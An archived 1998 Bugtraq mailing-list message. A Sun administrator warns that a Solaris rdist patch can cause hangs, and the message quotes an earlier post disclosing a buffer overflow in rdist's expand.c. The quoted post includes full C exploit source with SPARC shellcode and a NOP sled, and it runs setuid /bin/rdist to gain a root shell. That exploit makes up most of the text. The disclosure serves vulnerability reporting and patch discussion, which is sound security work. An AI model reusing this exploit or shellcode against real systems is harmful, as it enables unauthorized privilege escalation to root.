[7650] in bugtraq

home help back first fref pref prev next nref lref last post

Re: solaris 2.x rdist exploit / too many humbles :p

daemon@ATHENA.MIT.EDU (Thomas Jordan - ENS Sys/Admin - Co)
Thu Aug 13 13:33:23 1998

Date: 	Thu, 13 Aug 1998 09:02:25 -0400
Reply-To: Thomas Jordan - ENS Sys/Admin - Columbia <thomas.jordan@EAST.SUN.COM>
From: Thomas Jordan - ENS Sys/Admin - Columbia <thomas.jordan@EAST.SUN.COM>
X-To:         John McDonald <jmcdonal@UNF.EDU>
To: BUGTRAQ@NETSPACE.ORG

A word of caution about this patch.  On 2.5.1 and 2.6 machines, the
patch can cause rdist to hang when rdisting out to an existing
directory.  It's not real consistent across machines, but once it
happens on a machine, it will happen everytime an rdist to an existing
directory is performed (the client machine hangs the rdist).  Remove the
patch on the client, and it works again like a champ.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thomas Jordan                   email: thomas.jordan@east.sun.com
ENS Systems Administrator       pager: tjordan@pager.east.sun.com
Sun Microsystems, Inc.
6716 Alexander Bell Drive       phone: (410) 312-1738
Columbia, Maryland 21046        fax:   (410) 312-1799
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

John McDonald wrote:
>
> Enclosed is an exploit for a hole in Solaris rdist that I believe the
> patch #105667-01 addresses. That patch is for 2.6. I've personally tested
> the exploit on 2.6, 2.5.1, and 2.5 machines. I'm not sure if that is the
> right patch, but I'm pretty sure this hole has been fixed.
>
> You can see the hole if you look at the bsd source for rdist, which is
> apparantly pretty similiar to the code Sun used. The vulnerability is in
> expand.c, which you can look at here:
>
> http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5
>
> Part of the program's functionality is to allow a user to define
> variables and reference them in a way similiar to environment variables.
> The problem comes in when the program attempts to substitute the symbol
> representing the variable with it's value. You should be able to see this
> by doing: rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}'
>
> In the function expstr(), we have
>
> if (tp != NULL) {
>    for (; tp != NULL; tp = tp->n_next) {
>      (void) sprintf((char *)ebuf,
>           "%s%s%s", s, tp->n_name, tail);
>      expstr(ebuf);
>     }
>    return;
> }
> A little higher in the code, we see:
> u_char ebuf[BUFSIZ];
>
> This is obviously a bad thing. BTW, none of the bsds or linuxs are
> vulnerable to any rdist hole to the best of my knowledge because the binary
> isn't suid.
>
> My nick used to be humble, but as of reading bugtraq yesterday, I can see
> that someone else is partial to the name. In order to allieviate
> confusion, (and to possibly deflect emails about how to "run
> ufsrestore.c" to him :p), I'll change my nick. And looking at this last
> post, I don't think I want to inherit his enemies. :>
>
> horizon
>
>   ------------------------------------------------------------------------
> /* rdist solaris 2.* sploit */
> /* by horizon. thanks to ktwo */
> /* argv[1] is your offset */
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> #define BUF_LENGTH 1024
> #define SAFETY 40 /* blind guess */
> #define EXTRA 400
> #define STACK_OFFSET 2360
> #define SAFETY_OFFSET 248
> #define SPARC_NOP 0xac15a16e
>
> u_char sparc_shellcode[] =
> "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
> "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
> "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
> "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
> "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
> "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
> "\x91\xd0\x20\x08";
>
> int addr_ok(long a)
> {
>         if (((a>>24)&255)==0) return 0;
>         if (((a>>16)&255)==0) return 0;
>         if (((a>>8)&255)==0) return 0;
>         if (((a)&255)==0) return 0;
>         return 1;
> }
>
> u_long get_safe_addr(long sp)
> {
>    return sp-SAFETY_OFFSET;
> }
>
> u_long get_sp(void)
> {
>    __asm__("mov %sp,%i0 \n");
> }
>
> int main(int argc, char *argv[])
> {
>    char buf[BUF_LENGTH + EXTRA + 8];
>    char tempbuf[BUF_LENGTH + EXTRA + 8+6];
>
>    long stack,targ_addr,safe_addr;
>
>    u_long *long_p;
>    u_char *char_p;
>    int i, code_length = strlen(sparc_shellcode),dso=0;
>
>    if(argc > 1) dso=atoi(argv[1]);
>
>    stack=get_sp();
>
>    safe_addr=get_safe_addr(stack);
>    while(addr_ok(safe_addr)==0) safe_addr+=8;
>
>    targ_addr = stack + STACK_OFFSET - dso;
>    while(addr_ok(targ_addr)==0) targ_addr+=8;
>
>    long_p =(u_long *) buf ;
>    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
>       *long_p++ = SPARC_NOP;
>
>    char_p = (u_char *) long_p;
>
>    for (i = 0; i < code_length; i++)
>       *char_p++ = sparc_shellcode[i];
>
>    *char_p++=' ';
>    *char_p++=' ';
>
>    for (i = 0; i < SAFETY /4; i++)
>    {
>       *char_p++ =(safe_addr>>24)&255;
>       *char_p++ =(safe_addr>>16)&255;
>       *char_p++ =(safe_addr>>8)&255;
>       *char_p++ =(safe_addr)&255;
>     }
>
>    for (i = 0; i < (EXTRA-SAFETY) /4; i++)
>    {
>       *char_p++ =(targ_addr>>24)&255;
>       *char_p++ =(targ_addr>>16)&255;
>       *char_p++ =(targ_addr>>8)&255;
>       *char_p++ =(targ_addr)&255;
>    }
>
>    *char_p++=0;
>
>    sprintf(tempbuf,"bleh=%s",&buf[2]);
>
>    printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
>       stack,safe_addr,stack-safe_addr);
>    printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
>       targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
>    execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
>    perror("execl failed");
> }

home help back first fref pref prev next nref lref last post